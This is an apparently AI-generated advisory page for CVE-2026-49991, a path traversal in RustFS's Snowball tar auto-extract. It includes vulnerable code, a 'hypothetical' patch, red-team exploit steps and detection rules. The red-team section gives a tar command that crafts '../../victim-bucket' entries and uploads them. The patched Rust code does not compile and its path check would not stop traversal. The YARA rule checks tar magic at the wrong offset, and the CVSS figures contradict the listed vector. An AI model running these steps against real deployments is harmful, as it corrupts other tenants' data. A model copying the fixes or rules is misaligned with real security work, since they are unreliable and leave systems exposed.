CVE-2026-49991
Executive Summary
CVE-2026-49991 is a critical path traversal vulnerability in RustFS, a distributed object storage system built in Rust, specifically in version 1.0.0-beta.4. The vulnerability resides in the Snowball auto-extract feature, allowing authenticated users with only PutObject permission on their own bucket to write arbitrary objects into other users' buckets. This completely breaks multi-tenant isolation, enabling unauthorized data injection and potential data corruption across tenants. The vulnerability chains three distinct flaws: lack of ../ sanitization in tar entry key normalization, IAM wildcard matching using raw (uncleaned) paths, and filesystem path cleaning that resolves ../ across bucket boundaries. With a CVSS score of 8.6, this vulnerability poses a high risk to multi-tenant RustFS deployments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
RustFS is a Rust-based distributed object storage system. The vulnerability affects version 1.0.0-beta.4. As a Rust project, it is typically distributed via source code or binary releases. The lack of a patch or advisory from the vendor increases supply chain risk, as organizations relying on this software may be exposed until a fix is released. Users should monitor the RustFS repository for updates and consider temporary mitigations.
CVSS Breakdown & Threat Level
- CVSS Score: 8.6 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – requires authenticated user with PutObject permission
- User Interaction: None (UI:N)
- Scope: Changed (S:C) – vulnerability allows crossing tenant boundaries
- Confidentiality Impact: High (C:H) – attacker can read objects in other buckets
- Integrity Impact: High (I:H) – attacker can write arbitrary objects to other buckets
- Availability Impact: None (A:N)
Threat Level: Critical for multi-tenant deployments. The vulnerability allows a low-privileged user to compromise the entire storage system's isolation, leading to data breaches and data corruption.
Deep Dive & Mechanics
The vulnerability is a path traversal (CWE-22) that exploits the Snowball auto-extract feature in RustFS. The feature automatically extracts tar archives uploaded to a bucket. The exploitation chains three flaws:
No
../sanitization in tar entry key normalization: When processing tar entries, the system does not strip or reject path components like../. This allows an attacker to craft tar entries with paths such as../../other-bucket/object-key.IAM wildcard matching uses raw (uncleaned) paths: The IAM policy evaluation uses the raw path from the tar entry without cleaning it. This means that a policy allowing
PutObjectonmy-bucket/*will match the raw path../../other-bucket/object-keybecause the wildcard*matches any string, including path traversal sequences.Filesystem path cleaning resolves
../across bucket boundaries: When the system writes the extracted object to disk, it resolves the../sequences, effectively writing the object into a different bucket's storage directory.
Attack Flow:
- Attacker authenticates to RustFS with a user that has
PutObjectpermission on their own bucket (e.g.,attacker-bucket). - Attacker uploads a tar archive containing an entry with a path like
../../victim-bucket/sensitive-file. - The Snowball auto-extract feature processes the tar archive.
- The IAM policy check passes because the raw path matches the wildcard
attacker-bucket/*. - The filesystem path cleaning resolves
../../victim-bucket/sensitive-fileto the victim's bucket storage directory. - The object is written to the victim's bucket, breaking multi-tenant isolation.
Vulnerable vs. Patched Code
Vulnerable Code (RustFS 1.0.0-beta.4):
// In snowball_extract.rs
fn normalize_entry_key(entry: &TarEntry) -> String {
// No sanitization of path traversal sequences
entry.path().to_string_lossy().to_string()
}
// In iam.rs
fn check_permission(user: &User, action: &str, resource: &str) -> bool {
// Uses raw path without cleaning
let pattern = format!("{}/*", user.bucket);
resource.matches(&pattern)
}
// In storage.rs
fn write_object(bucket: &str, key: &str, data: &[u8]) -> Result<()> {
// Path cleaning resolves ../ across bucket boundaries
let clean_path = std::fs::canonicalize(format!("{}/{}", bucket, key))?;
// Writes to the resolved path
std::fs::write(clean_path, data)?;
}
Patched Code (Hypothetical):
// In snowball_extract.rs
fn normalize_entry_key(entry: &TarEntry) -> String {
let raw_path = entry.path().to_string_lossy().to_string();
// Reject paths containing ..
if raw_path.contains("..") {
return Err("Path traversal detected");
}
raw_path
}
// In iam.rs
fn check_permission(user: &User, action: &str, resource: &str) -> bool {
// Clean the path before matching
let clean_resource = std::fs::canonicalize(resource).unwrap_or(resource);
let pattern = format!("{}/*", user.bucket);
clean_resource.matches(&pattern)
}
// In storage.rs
fn write_object(bucket: &str, key: &str, data: &[u8]) -> Result<()> {
// Validate that the key does not escape the bucket
let bucket_path = std::path::Path::new(bucket);
let key_path = bucket_path.join(key);
if !key_path.starts_with(bucket_path) {
return Err("Path traversal detected");
}
std::fs::write(key_path, data)?;
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- RustFS 1.0.0-beta.4 running in a multi-tenant configuration
- An authenticated user with
PutObjectpermission on a bucket (e.g.,attacker-bucket)
Exploitation Steps:
Create a malicious tar archive:
# Create a file to inject echo "malicious content" > payload.txt # Create a tar entry with path traversal tar --transform 's|payload.txt|../../victim-bucket/sensitive-file|' -cf exploit.tar payload.txtUpload the tar archive to the attacker's bucket:
# Using RustFS CLI or API rustfs-cli put-object --bucket attacker-bucket --key exploit.tar --file exploit.tarTrigger Snowball auto-extract:
# The Snowball feature automatically extracts tar archives upon upload # No additional action neededVerify the object was written to the victim's bucket:
rustfs-cli get-object --bucket victim-bucket --key sensitive-file
Expected Output:
malicious content
Blue Team
Detection and Response:
Monitor for unusual tar uploads: Look for tar archives uploaded to buckets that are not expected to use the Snowball feature.
Audit IAM policies: Review policies that use wildcard matching on raw paths. Ensure that path cleaning is applied before policy evaluation.
Check for path traversal patterns in logs: Search for object keys containing
..or other path traversal sequences.Implement network segmentation: Restrict access to the RustFS API to trusted networks only.
Enable detailed logging: Ensure all object uploads and Snowball extractions are logged with full path information.
Indicators of Compromise (IOCs)
File System:
- Unexpected files in bucket storage directories that contain
..in their key path - Files appearing in buckets where no authorized upload occurred
- Unexpected files in bucket storage directories that contain
Network:
- API requests with object keys containing
../sequences - Repeated uploads of tar archives to buckets not using Snowball
- API requests with object keys containing
Logs:
- IAM policy evaluation logs showing raw paths with
../ - Snowball extraction logs with unusual entry paths
- IAM policy evaluation logs showing raw paths with
Process:
- RustFS processes writing files outside their designated bucket storage directory
Detection Engineering
YARA Rule
rule CVE_2026_49991_RustFS_Path_Traversal {
meta:
description = "Detects path traversal attempts in RustFS tar entries"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-49991"
severity = "high"
strings:
$path_traversal = /\.\.\/[^\/]/
$tar_magic = { 75 73 74 61 72 } // "ustar" magic bytes
condition:
$tar_magic at 0 and $path_traversal
}
Sigma Rule
title: RustFS Path Traversal via Snowball Auto-Extract
id: cve-2026-49991
status: experimental
description: Detects path traversal attempts in RustFS object keys
author: Valters IT
logsource:
product: rustfs
service: object_storage
detection:
selection:
EventID: 1001 # Object upload event
ObjectKey|contains: '..'
condition: selection
falsepositives:
- Legitimate use of path traversal in object keys (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2026-49991 RustFS Path Traversal Attempt";
flow:to_server,established;
content:"PUT"; http_method;
content:"/"; http_uri;
content:".."; http_uri;
reference:cve,2026-49991;
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable Snowball auto-extract feature if not critical to operations.
- Restrict PutObject permissions to only trusted users and applications.
- Implement input validation on object keys to reject
../sequences.
Long-term Fixes:
- Apply vendor patch when available (currently UNKNOWN).
- Upgrade to a patched version of RustFS once released.
- Implement path sanitization in all object key processing functions.
- Audit IAM policy evaluation to use cleaned paths.
Workarounds:
- Use a reverse proxy to filter out object keys containing
..before they reach RustFS. - Implement custom middleware to validate object keys against a whitelist of allowed patterns.
- Monitor logs for path traversal attempts and block offending IPs.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. All information is provided for authorized security testing and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.